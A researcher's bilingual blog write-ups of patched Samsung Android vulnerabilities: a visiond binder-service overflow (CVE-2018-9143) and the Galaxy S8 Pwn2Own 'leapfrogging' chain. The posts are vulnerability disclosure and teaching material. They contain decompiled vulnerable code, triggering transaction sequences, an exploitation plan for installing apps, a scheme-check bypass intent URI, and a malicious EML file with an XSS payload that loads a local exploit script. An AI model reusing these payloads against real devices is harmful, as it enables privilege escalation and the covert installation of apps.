Examining and exploiting android vendor binder services – part1

Vendor binder services proved to be an interesting part of android devices nature. They usually remains close-source, but sometimes open new attack surface for privilege escalation. In these articles I will first describe how to locate interesting binder service and a reversing quirk, then two typical CVEs will be discussed about their nature and exploitation, and how to find them.

Locating interesting binder services

Before Android N, all binder services were registered to servicemanager, and communicated with each other under /dev/binder. After Android N, binder domains are splitted to normal domain under /dev/binder, vendor domain under /dev/vndbinder, and hardware domain under /dev/hwbinder. Normal untrusted_app access is restricted to /dev/binder.

There’re possibly more than 200 binder services on some vendor devices, and most of them are Java services. Java code may introduce common android logic problems, which we will not cover in this blog post. Currently we are only interested in memory corruption bugs lies in native code.

So first question arises: how do we deduce which services may have interesting native code? Where are these services running?J previously released a tool named bindump, by reading binder data in debugfs, the tool can iterate which process owns a process and which processes are using this service. However days  have passed and android has involved pretty much, major problems including

  • debugfs is no longer readable by normal process so you will need root to run
  • Binder node now have context so you have to distinguish between different domain context
  • Libbinder.so linking symbols changes in every version so one may not be able to reuse the binary and need to recompile the source on top of corresponding AOSP source branch

To solve problem 2 and 3, I rewrite the tool in Java and encapsulated it into a standalone jar, its source and binary can be found here.

With the tool to find hosting process for binder service, we move to look binder services in native processes.

CVE-2018-9143: buffer overflow in visiond service

There’s an arbitrary length/value overflow in the platform’s visiond daemon, which runs under system uid. visiond exposes a service named media.air, multiple dynamic libraries are used by this service, including visiond, libairserviceproxy, libairservice, libair. libairserviceproxy is the library with server-side method implementations, namely BnAIRClient::onTransact, BnEngine::onTransact, BnAIRService::onTransact.

Missing vtable entries?

An interesting fact worth noticing when reversing these libraries is that, in IDA at the address where we should find vtables, except top-offset and virtual-base offset, all other virtual method pointer items are all zero. However at runtime, the corresponding memory locations become normal. This does not appear on Nexus or Pixel image libraries when opened with IDA.

hedan vtable1

At first glance it may seem like a binary protection for anti-reversing. However after some digging in we found it’s acutally a new Android linker feature that was not supported by IDA. To understand this symposym, one should first be clear that the vtable function addresses does not naturally resides in .data.rel.ro. Their offsets are actually stored in relocation entries at .rela.dyn with type R_AARCH64_RELATIVE or others. IDA and other disassembler tools do the job of linker, read, calculate and store the value into their respective locations. If IDA failed to parse the relocation entries, the target addresses will be left untouched, as seen in the screenshot.

So what’s the offending linker feature? Quoting from chromium docs:

Packed Relocations
All flavors of lib(mono)chrome.so enable “packed relocations”, or “APS2 relocations” in order to save binary size.
Refer to this source file for an explanation of the format.
To process these relocations:
Pre-M Android: Our custom linker must be used.
M+ Android: The system linker understands the format.
To see if relocations are packed, look for LOOS+# when running: readelf -S libchrome.so
Android P+ supports an even better format known as RELR.
We'll likely switch non-Monochrome apks over to using it once it is implemented in lld.

vtable2

This feature encodes binary data in SLEB128 format in order to save space for large binaries. The detailed implementation, including encoding and decoding algorithm can be found here( http://androidxref.com/9.0.0_r3/xref/bionic/tools/relocation_packer/src/delta_encoder.h). At runtime, the linker decodes this segment, rearranging other segment addresses and extracts normal relocation entries. Then everything goes back to normal. IDA at that time does not supported this encoding so all relocation infos are lost in IDA. One can use the relocation_packer tool itself to recover the addresses.

Update: Two years after Android introduced this feature IDA 7.3 has finally supported APS2 relocation, which can be seen in the following screenshot.

+ ELF: added support for packed android relocations (APS2 format)

vtable3

AirService copies in the air

BnAirServiceProxy provides two methods for managing AirClient passed from client process. One accepts a StrongBinder (AirClient) and an int option, returns a binder handle (pointing to BnAIR) for client process to invoke.If the int option is 0, it will create a FileSource thread. If the option is 1, it will create a CameraSourceThread(only this can trigger this vulnerability)

BnAIR::transact (in libair.so) has many functions, the functions relating to this exp is android::AIRService::Client::configure, start and enqueueFrame. We must call these functions in order of configure->start->enqueueFrame to do a property setup.The specific vulnerable function is enqueueFrame. enqueueFrame receives an int and IMemory, and the IMemory content is copied out to a previously allocated fixed IMemory in Frame object.

android::RefBase *__fastcall android::FrameManager::enqueueFrame(__int64 someptr, __int64 imemory)
{
//...
 v4 = (android::FrameManager::Frame *)operator new(0x38uLL);
 android::FrameManager::Frame::Frame(v4, v5, *(_DWORD *)(v2 + 0x88), *(_DWORD *)(v2 + 140), 17, *(_DWORD *)(v2 + 144));
 v16 = v4;

 android::RefBase::incStrong(v4, &v16);

 (*(void (**)(void))(**(_QWORD **)v3 + 0x20LL))(); //offset and size is retrived

 v6 = (*(__int64 (**)(void))(*(_QWORD *)v16 + 88LL))(); //v6 = Frame->imemory->base();

 v7 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)imemoryheap + 40LL))(imemoryheap); //v7 = imemoryheap->base();

 memcpy(v6, v7 + v15, v14);//memcpy(frame->imemory->base(), imemoryheap->base() + offset, imemoryheap->size());//overflow here
//...
 if ( imemoryheap )
   android::RefBase::decStrong(
     (android::RefBase *)(imemoryheap + *(_QWORD *)(*(_QWORD *)imemoryheap - 24LL)),
     &imemoryheap);
 result = v16;
 if ( v16 )
   result = (android::RefBase *)android::RefBase::decStrong(v16, &v16);

 return result;

}

The detailed steps are as follows:

  1. We use first transact with code=3 from untrusted_app to /system/bin/visond service, to trigger android::AIRService::Client::configure(int) in libairservice.so. This transact is needed to init some parameters
  2. The second transact with code=4, which starts an AIRService Client, android::AIRService::Client::start() start the Client to accept the final transaction
  3. The final transact, with code=7, actually passes an IMemory with attacker controlled length/content, to trigger android::AIRService::Client::enqueueFrame(int, android::spandroid::IMemory const&).

The mmaped area in Frame itself is usually 2M, so any passed in Imemory with size > 2M will trigger overflow.

    fpsr 00000000  fpcr 00000000
backtrace:
    #00 pc 000000000001b014  /system/lib64/libc.so (memcpy+332)
    #01 pc 0000000000029b5c  /system/lib64/libairservice.so (_ZN7android12FrameManager12enqueueFrameERKNS_2spINS_7IMemoryEEE+188)
    #02 pc 0000000000030c8c  /system/lib64/libairservice.so (_ZN7android10AIRService6Client12enqueueFrameEiRKNS_2spINS_7IMemoryEEE+72)
    #03 pc 000000000000fbf8  /system/lib64/libair.so (_ZN7android5BnAIR10onTransactEjRKNS_6ParcelEPS1_j+732)
    #04 pc 000000000004a340  /system/lib64/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+132)
    #05 pc 00000000000564f0  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+1032)
    #06 pc 000000000005602c  /system/lib64/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+156)
    #07 pc 0000000000056744  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+128)
    #08 pc 0000000000074b70  /system/lib64/libbinder.so
    #09 pc 00000000000127f0  /system/lib64/libutils.so (_ZN7android6Thread11_threadLoopEPv+336)
    #10 pc 00000000000770f4  /system/lib64/libc.so (_ZL15__pthread_startPv+204)
    #11 pc 000000000001e7d0  /system/lib64/libc.so (__start_thread+16)

Exploitation?

This may be similar to Project Zero’s bitunmap bug, since overflow occurs in mmaped area. When android::AIRService::Client::configure is called, a new thread is created in libairservice.so. By allocating Frame, and removing Frame we can create a hole in highmem area. Allocate Frame again, trigger overflow and we can override the thread mmaped area to get PC control.

However, SElinux still enforces strict limitation (no execmem, no executable file loading, cannot lookup PackageManagerService in servicemanager), on visiond, although it’s a system-uid process. How can we utilize this elevated privilege to do things malicious like installing arbitrary app, if we even cannot access PackageManagerService?

Note that although SELinux prohibits visiond from looking up the PMS service, neither it nor the PMS itself has additional restrictions or checks when PMS’s transactions are actually invoked, if we have the service handle. So we may use the following steps to bypass this restriction:

  • Attacking app (untrusted_app context) obtains StrongBinder handle of PMS
  • Attacking app passes the handle to visiond. Any transaction method accepting and storing StrongBinder will work.
  • Attacking app triggers the vulnerability, gains code execution. Payload searches the specific memory location in step 2 to find the handle
  • Payload calls PMS’s installPackage method with the handle

Conclusion

So this’s CVE-2018-9143. Samsung has already posted advisory and pushed out FIX via firmware OTA. In next article I will describe CVE-2018-9139, a heap overflow in sensorhubservice, and how we examined and fuzzed the target to find this vulnerability, with a PC-controlled POC.

Bonus: POC for this CVE and vulnerable binary has been posted at https://github.com/flankerhqd/binder-cves for your reference.

Examining and exploiting android vendor binder services – part 1

安卓生态多姿多彩,在AOSP之外各大厂商的binder service也同样各式各样。这些自行实现的service通常来说是闭源的,常常成为会被人忽略的提权攻击面。在这一系列文章中,我会先描述如何定位可能有问题的binder service进行后续研究,以及逆向中一些有意思的发现,随后会以之前发现的两个典型的CVE为例,讨论这些漏洞是如何产生的,如何发现它们,以及如何进行利用。

寻找潜在的分析目标

在Android N之前,所有的binder service都是在servicemanager中进行注册的,client通过/dev/binder与service进行通讯。Android N对binder服务引入了domain切分的概念,常规的服务依然使用/dev/binder,而vendor domain则转换为使用/dev/vndbinder, hardware domain转换为使用/dev/hwbinder。常规的untrusted_app访问被限制在了/dev/binder。

通过service list,我们可以查看设备上注册了多少normal domain的service。AOSP设备一般会有100+,而各大厂商的设备均会达到200以上。其中大部分都是Java服务,虽说Java服务通常也会引入一些常见的逻辑问题,但暂时不属于本文的讨论范围。目前的范围内,我们只关注包含有native code,可能存在内存破坏漏洞的组件。 所以第一个问题出现了,如何确定哪些服务是通过native code处理的?根据binder服务的形式,存在如下可能:

  • 该服务直接运行在native process中
  • 该服务运行在JVM process中(例:注册于system_server中),但存在JNI调用

无论分析哪种形式,我们都需要先确定该服务的host进程。在进程注册或打开binder服务的时候, debugfs中会留下相应的node entry或ref entry。Android Internals的作者数年前开源的工具bindump即通过遍历这个信息来获取服务的进程关系。其工作原理如下:

  • tool process打开目标服务,获取本进程新增的ref id
  • 遍历procfs, 通过ref id匹配各进程的node id,匹配到的进程即为该服务host process

这个方法非常有效,不过随着Android的演进,原始的bindump工具现在遇到了如下问题:

  • debugfs现在需要root权限才能打开,普通进程已经无法打开debugfs
  • binder node现在具有了domain的概念,需要区分不同domain中的node
  • 原始的bindump link到libbinder.so,但每个版本更新后symbol location会发生变化,导致原有的binary在新版本上无法运行,每个版本都会需要在AOSP source tree下重新编译(如果vendor改动了libbinder问题就更大了)

为了解决问题2和3,我用Java重写了bindump,将其打包成可以忽略平台版本问题单独运行的jar包,相关代码和precompiled jar已经放在了GitHub上 (https://github.com/flankerhqd/bindump4j)。

在解决了以上问题之后,我们终于可以定位到运行在native process中的服务,并进行后续分析了。

CVE-2018-9143: buffer overflow in visiond service

media.air是一个运行在Samsung设备系统进程/system/bin/visiond中的服务。visiond本身加载了多个动态执行库,包括libairserviceproxy, libairservice, libair 等, 并以system-uid运行。 相关服务的实现端,例如 BnAIRClient::onTransact, BnEngine::onTransact, BnAIRService::onTransact等存在于libairserviceproxy中。

虚表指针去哪里了?

逆向C++库的关键准备之一是定位相应虚函数指针,并使用IDA脚本通过这些信息进行type reconstruction。但当我们在IDA中打开media.air服务的动态库时,却惊讶地发现,在原来应该有vtable表项指针的地方,除了top-offset和virtual-base offset还在,其他的指针大部分神秘地消失了,如下图所示

hedan vtable1

而同样大版本的AOSP/Pixel/Nexus镜像的binary中并没有出现这样的问题。谁偷了我的虚表指针?

乍一看可能会觉得三星在故意搞事,像国内厂商一样做了某种混淆来对抗静态分析,但实际上并不是。为了理解这种现象,我们先来回忆下虚表项指针的存储方式。

首先,IDA给我们展示的rel section并不是ELF中实际的内容,而是处理过后的结果。虚表指针项并不直接存储在.data.rel.ro section,而是linker 重定位之后的结果。它们的原始内容实际上存在于.rela.dyn中,以R_AARCH64_RELATIVE表项的形式存在。在library被加载时,linker会根据表项中的offset,将重定位后的实际地址写入对应的offset中,也就是vtable真正的地址。 IDA和其他分析工具会模拟linker的功能预先对这些内容进行解析并写入,但如果IDA解析relocation table失败,那么这些地址会维持其在ELF中的原始内容,也就是0。

但是什么导致了IDA解析失败?这是在N后引入的APS2重定位特性,最先应用在chromium上,如下所述:

Packed Relocations
All flavors of lib(mono)chrome.so enable “packed relocations”, or “APS2 relocations” in order to save binary size.
Refer to this source file for an explanation of the format.
To process these relocations:
Pre-M Android: Our custom linker must be used.
M+ Android: The system linker understands the format.
To see if relocations are packed, look for LOOS+# when running: readelf -S libchrome.so
Android P+ supports an even better format known as RELR.
We'll likely switch non-Monochrome apks over to using it once it is implemented in lld.

vtable2

APS2将重定向表以SLEB128的格式压缩编码,对于大型binary可以缩小ELF的体积。具体的编码解码实现可以在( http://androidxref.com/9.0.0_r3/xref/bionic/tools/relocation_packer/src/delta_encoder.h)里找到。在运行时linker解压这个section,根据大小变化调整前后section的地址,将其恢复为一个正常的ELF进行加载。IDA尚不支持APS2 encoding所以我们会看到大部分重定向信息都丢失了,可以用上述relocation_packer工具将其解码恢复。

一个好消息: 在APS2引入两年之后,IDA 7.3终于增加了对其的支持,现在可以看到IDA已经可以正确地恢复虚表项地址了。

IDA Changelog:
File formats:
...
+ ELF: added support for packed android relocations (APS2 format)
...

vtable3

AirService copies in the air

在解决了逆向的这个问题之后,我们回过头来分析下这个服务的相关结构。media.air中的BnAirServiceProxy提供了两个接收客户端传入的AirClient的初始化函数,其中一个以StrongBinder的形式接受输入,并返回一个指向BnAir服务的handle供客户端进程再次调用。当option参数为0时,该函数会创建一个FileSource线程,当option参数为1时其会创建一个CameraSourceThread线程。只有在CameraSourceThread线程中可以触发本漏洞。

在获得服务端BnAir服务的handle后,客户端将可以进一步调用其实现的transaction。libair.so中提供的BnAIR服务实现了一个针对Frame的状态机,状态机的关键函数包括configure, startenqueueFrame。在按照顺序调用之后最终触发有漏洞的enqueueFrame函数。

android::RefBase *__fastcall android::FrameManager::enqueueFrame(__int64 someptr, __int64 imemory)
{
//...
 v4 = (android::FrameManager::Frame *)operator new(0x38uLL);
 android::FrameManager::Frame::Frame(v4, v5, *(_DWORD *)(v2 + 0x88), *(_DWORD *)(v2 + 140), 17, *(_DWORD *)(v2 + 144));
 v16 = v4;

 android::RefBase::incStrong(v4, &v16);

 (*(void (**)(void))(**(_QWORD **)v3 + 0x20LL))(); //offset and size is retrived

 v6 = (*(__int64 (**)(void))(*(_QWORD *)v16 + 88LL))(); //v6 = Frame->imemory->base();

 v7 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)imemoryheap + 40LL))(imemoryheap); //v7 = imemoryheap->base();

 memcpy(v6, v7 + v15, v14);//memcpy(frame->imemory->base(), imemoryheap->base() + offset, imemoryheap->size());//overflow here
//...
 if ( imemoryheap )
   android::RefBase::decStrong(
     (android::RefBase *)(imemoryheap + *(_QWORD *)(*(_QWORD *)imemoryheap - 24LL)),
     &imemoryheap);
 result = v16;
 if ( v16 )
   result = (android::RefBase *)android::RefBase::decStrong(v16, &v16);

 return result;

}

可以看到,传入的IMemory在被mmap后并没有对长度做任何的检查,直接memcpy进入了Frame的IMemory中,而后者的预定义size是2*1024*1024,即超过2M的映射,即会引发overflow。

整体的触发步骤如下:

  • media.air发送一个code=1 的transaction以获取BnAir的handle,以下步骤的调用对象均为该handle
  • 发送一个code=3 的transaction以触发 android::AIRService::Client::configure(int)。该函数会完成对应对象的参数初始化
  • 发送一个code=4的transaction以创建一个AIRService Client, 并调用android::AIRService::Client::start()启动
  • 最后一个code=7的transaction最终传入攻击者可控内容和长度的IMemory,触发android::AIRService::Client::enqueueFrame(int, android::sp<android::IMemory> const&)中的溢出
    fpsr 00000000  fpcr 00000000
backtrace:
    #00 pc 000000000001b014  /system/lib64/libc.so (memcpy+332)
    #01 pc 0000000000029b5c  /system/lib64/libairservice.so (_ZN7android12FrameManager12enqueueFrameERKNS_2spINS_7IMemoryEEE+188)
    #02 pc 0000000000030c8c  /system/lib64/libairservice.so (_ZN7android10AIRService6Client12enqueueFrameEiRKNS_2spINS_7IMemoryEEE+72)
    #03 pc 000000000000fbf8  /system/lib64/libair.so (_ZN7android5BnAIR10onTransactEjRKNS_6ParcelEPS1_j+732)
    #04 pc 000000000004a340  /system/lib64/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+132)
    #05 pc 00000000000564f0  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+1032)
    #06 pc 000000000005602c  /system/lib64/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+156)
    #07 pc 0000000000056744  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+128)
    #08 pc 0000000000074b70  /system/lib64/libbinder.so
    #09 pc 00000000000127f0  /system/lib64/libutils.so (_ZN7android6Thread11_threadLoopEPv+336)
    #10 pc 00000000000770f4  /system/lib64/libc.so (_ZL15__pthread_startPv+204)
    #11 pc 000000000001e7d0  /system/lib64/libc.so (__start_thread+16)

如何利用?

这是一个类似于Project Zero之前公布的bitunmap案例的漏洞,两者的溢出都发生在mmap过的区域。由于mmap分配的内存区域相对较大,位置不同于常规的堆管理器管理区域,其利用方式不同于传统的堆溢出。读者应该会回忆到Project Zero是通过特定函数分配thread,然后溢出thread的control structre的方式来实现控制流劫持。同样地,在我们的目标中,android::AIRService::Client::configure被调用时,它会创建一个新的thread。通过风水Frame对象,我们构造内存空洞并在空洞中创建thread,触发溢出后劫持thread中的回调指针来最终控制PC。

但这还远远没有结束。虽然该进程是system-uid,但SELinux对其有严格的限制,例如no execmem, no executable file loading, 甚至无法向ServiceManager查询大部分系统服务。即使控制了PC,接下来又该何去何从,例如如何利用提升的权限来安装恶意应用,如果根本无法lookup PackageManagerService?

这里需要注意的是,虽然SELinux禁止了visiond去lookup service,但实际上并没有限制调用service自身的transaction,这依赖于service自身的实现,例如ActivityManagerService的相关函数是通过enforceNotIsolated标注来禁止isolated进程调用。所以只要能成功地将PMS的binder handle传递给visiond,攻击者依然可以以visiond的身份调用PMS来安装恶意应用,相关步骤如下:

  • Attacking app (untrusted_app context) 获得PMS的StrongBinder handle
  • Attacking app 将handle传递给visiond. 任何接收StrongBinder的服务端函数均可,例如BnAirServiceProxy中的第一个transaction
  • Attacking app 触发上述漏洞获取PC控制后,payload在内存中搜索上一步传入的PMS handle
  • Payload通过该handle调用PMS,完成恶意应用安装

总结

以上即为CVE-2018-9143,一个典型的binder service漏洞的故事。Samsung已经发布了advisory和补丁,并通过firmeware OTA修复了该漏洞。在下一篇文章中,我会介绍CVE-2018-9139,sensorhubservice中的一个堆溢出,以及如何通过fuzzing发现的该漏洞和它的利用(包括一个控制PC的poc)。

本文所描述的相关poc和有漏洞的服务binary均可以在 https://github.com/flankerhqd/binder-cves 中找到。

Galaxy Leapfrogging盖乐世蛙跳: Pwning the Galaxy S8

在最近的一系列文章中,我会介绍这些年以来通过Pwn2Own和官方渠道所报告的在各种Android厂商设备中发现的各种CVE,包括通过fuzz和代码审计发现的各式各样的内存破坏漏洞和逻辑漏洞。第一篇文章将会介绍在2017年末我们用来远程攻破Galaxy S8并安装应用的利用链,一个V8漏洞来获取最开始的沙箱内代码执行,和五个逻辑漏洞来最终实现沙箱逃逸和提权来安装任意应用,demo视频可以在这里看到。

所有的漏洞均已经报告并以CVE-2018-10496,CVE-2018-10497,CVE-2018-10498,CVE-2018-10499,CVE-2018-10500来标示。本文将主要介绍整个利用链,V8漏洞将在另外的文章中介绍。

English version writeup here

Bug 0: Pwning and Examining the browser’s renderer process

通过第一个V8漏洞(CVE-2018-10496,credit to Gengming Liu and Zhen Feng),我们现在获得了在三星浏览器renderer沙箱的代码执行。众所周知这是一个isolated process。Isolated process是安卓中权限最低的进程,被传统的DAC权限和SELinux context policy所严格限制。 sbrowser processes 那么在S8上相应的policy会不会有问题?通过反编译S8的SELinux policy,我们很遗憾地发现三星在这块还是做了不错的工作,相比于原版Android没有增加任何的额外allow policy。也就是说isolated进程仍然只能访问很少量的service和IPC,更别提启动activity之类的了。 SELinux access vectors 对于想从头了解三星浏览器(或者说Chrome浏览器)沙箱架构的读者朋友,可以参考我之前在CanSecWest上的PPT,相应内容在此就不再赘述。鉴于看起来三星并没有对isolated process增加额外的供给面,我们还是需要用old-fashion的办法 – 审计浏览器IPC。三星浏览器虽然在界面上和Chrome看起来大相径庭,但本质上还是Chromium内核,对应的沙箱架构也和Chrome一致。 前事不忘后事之师。说到IPC漏洞,我们就会想到当年东京文体两开花中日合拍的…

Bug 1: 东京遗珠: CVE-2016-5197修复不完全可被绕过

老读者们应该都还记得之前东京我们用来攻破Pixel的CVE-2016-5197,具体内容可以在这里看到。回顾当年Google给出的补丁

public class ContentViewClient {
 public void onStartContentIntent(Context context, String intentUrl, boolean isMainFrame) {
 //...
@@ -144,6 +148,14 @@
         // Perform generic parsing of the URI to turn it into an Intent.
         try {
             intent = Intent.parseUri(intentUrl, Intent.URI_INTENT_SCHEME);
+
+            String scheme = intent.getScheme();
+            if (!scheme.equals(GEO_SCHEME) && !scheme.equals(TEL_SCHEME)
+                    && !scheme.equals(MAILTO_SCHEME)) {
+                Log.w(TAG, "Invalid scheme for URI %s", intentUrl);
+                return;
+            }
+
//...
        try {
            context.startActivity(intent);
        } catch (ActivityNotFoundException ex) {
            Log.w(TAG, "No application can handle %s", intentUrl);
        }
    }

Google的修复是对该IPC接受的intent string做了检查,只有特定scheme的intent才能通过,意图是只允许geo://,tel://和mailto://等隐式intent,从而禁止再传递显式string来启动activity。 然而这个修复漏掉了关键的部分:intent解析并不是只依赖于scheme部分,component参数的优先级远高于scheme解析。我们只要在之前的攻击payload头部添加”scheme=geo”,同时依然保持component,即可既绕过这个check,又继续在renderer沙箱中通过这个IPC启动任意activity,继续利用这个漏洞。如之前所述,三星浏览器是chromium内核,那么也包含相同的漏洞代码。 Jumping from renderer sandbox 当然受到parseUri参数的限制,我们构造出的intent只能含有string和其他基本类型参数,不能包含一些fancy的parcelable,这对后续攻击面选择提出了要求。这个activity需要能满足如下条件

  • 导出并会在webview中加载或执行攻击者通过intent指定的url或javascript
  • 接受基本参数类型,对parcelable没有强制检查

只要我们能在App的webview中执行任意代码,我们就获得了这个应用的权限。 [注1]

这个漏洞在报告后,Google分配了issue 804969。幸运的是,Chrome在这个漏洞被报告前的一次无关的代码refactor中,把这个IPC整个全部去掉了… 故Chrome官方认为此问题已经不存在了,但是所有下游的Chromium内核浏览器都仍然受影响。一个奇葩的操作是三星并没有为这个漏洞单独分配CVE,而是在各个bug单独的CVE之外,又分配了CVE-2018-9140/SVE-2017-10747给整个利用链。

Bug 2: The Email loves EML with a … XSS

在检索所有权限较高的应用过程中,我们发现了Samsung Email和它所导出的一个有趣的Activity。 Email activity 导出的com.samsung.android.email.ui.messageview.MessageFileView会在intent参数中接收并解析EML文件。什么是EML文件?EML文件是一个电子邮件导出格式,Samsung Email对EML文件提供了非常完善的富文本支持 – 完善到直接用Webview来加载和渲染。这当然立即勾起了一个安全研究员的兴趣:这是否意味着接下来有XSS、脚本注入,以及对于我们的场景,代码执行的可能性。 Project Zero的Natalie在CVE-2015-7893中报告了一个类似的漏洞,在此之后三星增加了一些检查。然而就像所有的漏洞修复第一次经常可能修不完一样,这个检查做的非常粗糙,粗糙到是对<script>关键字的匹配。我们只需通过img src document.onload=blablaba并动态引入script即可绕过,从而导致XSS。 这个漏洞被分配了CVE-2018-10497。

Bug 3: … 以及 file:/// 跨域

虽然在Bug 2中我们证实了这个XSS确实存在,但通过这个XSS引入js exploit并获得代码执行权限(shell)还有一些问题。典型的是EML文件本身如果太大,将会影响WebView的堆布局,进而导致堆风水的成功率降低。但是Email应用并没有让我们失望,它开启了setAllowFileAccessFromFileUrls,这意味着我们可以将js exploit拆分到单独的文件中,通过script src的方式引用,进而尽可能缩小EML文件的体积来提高V8漏洞的成功率。 一个小tip:Bug2和Bug3组合在一起,已经可以任意读取Email的私有文件了。 这个漏洞被分配了CVE-2018-10498 所以我们现在构造如下所示的样例攻击EML文件:

MIME-Version: 1.0
Received: by 10.220.191.194 with HTTP; Wed, 11 May 2011 12:27:12 -0700 (PDT)
Date: Wed, 11 May 2011 13:27:12 -0600
Delivered-To: jncjkq@gmail.com
Message-ID: <BANLkTi=JCQO1h3ET-pT_PLEHejhSSYxTZw@mail.jncjkq.com>
Subject: Test
From: Bill Jncjkq <jncjkq@gmail.com>
To: bookmarks@jncjkq.net
Content-Type: multipart/mixed; boundary=bcaec54eecc63acce904a3050f79
--bcaec54eecc63acce604a3050f77
Content-Type: text/html; charset=ISO-8859-1
<body onload=console.log("wtf");document.body.appendChild(document.createElement('script')).src='file:///sdcard/Download/exp.js'>
<br clear="all">--
Bill Jncjkqfuck

</body>
--bcaec54eecc63acce604a3050f77—

通过在EML中捆绑V8 exploit并通过intent使Email打开,我们可以成功在Email进程中执行代码获得其权限,从而正式跳出renderer进程的isolate沙箱。Email应用本身具备读取相片、通讯录的权限故到这里我们已经满足了Pwn2Own的初步要求。截至目前,我们的攻击链步骤如下:

  1. 通过http header头attachment的方式强迫浏览器将含有攻击代码的EML文件和js文件下载。在安卓上,下载路径固定于例如/sdcard/Download/test.eml/sdcard/Download/test.js中。
  2. 在获得renderer进程权限后,构造并调用brokerer IPCstartContentIntent,传入参数为intent:#Intent;scheme=geo;package=com.samsung.android.email.provider;component=com.samsung.android.email.provider/com.samsung.android.email.ui.messageview.MessageFileView;type=application/eml;S.AbsolutePath=/sdcard/Download/test.eml;end,从而唤起并exploit Email应用的webview
  3. 成功获取Email应用进程权限

Bug 4: Go beyond the Galaxy (Apps) … but blocked?

以上结果虽然能满足Pwn2Own的初步要求,但是我们的终极目标是要能够任意安装应用,而Email显然没有这个权限。我们的下一步就是需要找到一个具有INSTALL_PACKAGES权限的进程或应用来作为目标。显而易见,Galaxy Apps(三星应用商店)是一个目标。这个应用中有一个非常有潜力的Activitycom.samsung.android.sdk.ppmt.PpmtPopupActivity,非常直接地接收intent传入的url参数,没有对来源做任何校验就在webview中打开。 不过天上不会掉馅饼,显然这个Activity被保护了 – 不导出。 … 但只是对外保护,不是对内保护

Bug 5: Push SDK pushes vulnerability

在审计三星平台其他App的过程中,我们发现同样的component com.sec.android.app.samsungapps/com.samsung.android.sdk.ppmt.PpmtReceivercom.samsung.android.themestore/com.samsung.android.sdk.ppmt.PpmtReceiver出现在了多个应用,包括Galaxy Apps中。通过分析其功能我们认为这应该是一个私有push SDK,用于一些广告、活动通知相关的推送。这些receiver都是导出的,在PpmtReceiver的相关代码中,我们发现了如下有意思的代码片段:

//The Ppmt receiver seems responsible for push message, and under certain intent configuration, it routes to path 
    private void a(Context arg5, Intent arg6, String arg7) {
        if("card_click".equals(arg7)) {
            CardActionLauncher.onCardClick(arg5, arg6);
            return;
        }
//in onCardClick, it reaches CardActionLauncher, 
    private static boolean a(Context arg2, String arg3, CardAction arg4) {
        boolean v0;
        if("app".equals(arg4.mType)) {
            v0 = CardActionLauncher.b(arg2, arg3, arg4);
        }
//If the CardAction.mType is "intent", we finally reaches the following snippet:
private static boolean d(Context arg5, String arg6, CardAction arg7) {
        boolean v0 = false;
        if(TextUtils.isEmpty(arg7.mPackageName)) {
            Slog.w(CardActionLauncher.a, "[" + arg6 + "] fail to launch intent. pkg null");
            return v0;
        }
        Intent v1 = new Intent();
        v1.setPackage(arg7.mPackageName);
        if(!TextUtils.isEmpty(arg7.mData)) {
            v1.setData(Uri.parse(arg7.mData));
            v1.setAction("android.intent.action.VIEW");
        }
        if(!TextUtils.isEmpty(arg7.mAction)) {
            v1.setAction(arg7.mAction);
        }
        if(!TextUtils.isEmpty(arg7.mClassName)) {
            v1.setComponent(new ComponentName(arg7.mPackageName, arg7.mClassName));
        }
        if(arg7.mExtra != null && !arg7.mExtra.isEmpty()) {
            v1.putExtras(arg7.mExtra);
        }
        CardActionLauncher.a(v1, arg6);
        try {
            switch(arg7.mComponent) {
                case 1: {
                    int v2 = 268435456;
        try {
            v1.setFlags(v2);
            arg5.startActivity(v1);
            goto label_78;
    //….

通过这段代码,我们可以通过发送broadcast以任意参数指定任意Activity启动,当然包括Galaxy Apps内部未导出的Activity。我们通过这个漏洞来间接启动之前提到的PpmtPopupActivity,进而加载含有JS exploit的攻击页面,从而获得Galaxy Apps的权限(shell),利用它的INSTALL_PACKAGES权限来安装任意应用。一个有意思的地方是,这个Activity本身并没有直接的UI指向它,所以猜测这能是一个废弃的SDK,但忘记被去掉了。 这个漏洞被分配了CVE-2018-10499.

Chaining it altogether

Whole escape chain 这就是我们攻破Galaxy S8的完整利用链。所有的漏洞均已在当时及时报告给了厂商并得到了修复。鉴于这个漏洞利用链每一步都是在寻找更高权限的进程或应用来作为跳板进行攻击的特点,我们将它命名为”Galaxy Leapfrogging” (盖乐世蛙跳)。完成攻破的Galaxy S8为当时的最新版本samsung/dreamqltezc/dreamqltechn:7.0/NRD90M/G9500ZCU1AQF7:user/release-keys.

在此感谢Samsung Mobile Security在修复漏洞中作出的工作,和腾讯科恩实验室以及科恩实验室的前同事们。 接下来还会有其他各大Android Vendor的各式CVE writeup,请保持关注。Weibo: flanker_017 .

注1: isolated webview的当前状态

从Android O开始,所有的应用在缺省状态下均在isolated context运行webview,也就意味着攻破了webview不再意味着直接获取应用的权限,从而极大地阻止了我们的蛙跳战术。但部分用户量非常大的App(在此不直接点名),使用了自己编译的webview或第三方通用浏览服务提供的webview,例如X5/tbs和ucwebcore,而截至目前这些webview即使在最新版本Android上面仍然没有启用isolated限制,也意味着他们仍然是蛙跳战术巨大而明显的目标。

Galaxy Leapfrogging: Pwning the Galaxy S8

Hello everyone, long time no see! Now begins a series of blog posts about bugs I found before and now on Android vendors, including memory corruption and logical bugs, reported and fixed via Pwn2Own or official bug channel.

This very first post is about the chain of bugs we used in the end of 2017 to get remote arbitrary application install via clicking malicious link on newest Galaxy S8 at that time, prepared for Mobile Pwn2Own, with a V8 bug to get initial code execution in sandbox and 5 logical bugs to finally get arbitrary application install, with demo video. All bugs were reported and assigned CVE-2018-10496, CVE-2018-10497, CVE-2018-10498, CVE-2018-10499, CVE-2018-10500, CVE-2018-9140. The detail of the V8 bug will be covered in another post.

(Chinese version here)

Bug 0: Pwning and Examining the browser’s renderer process

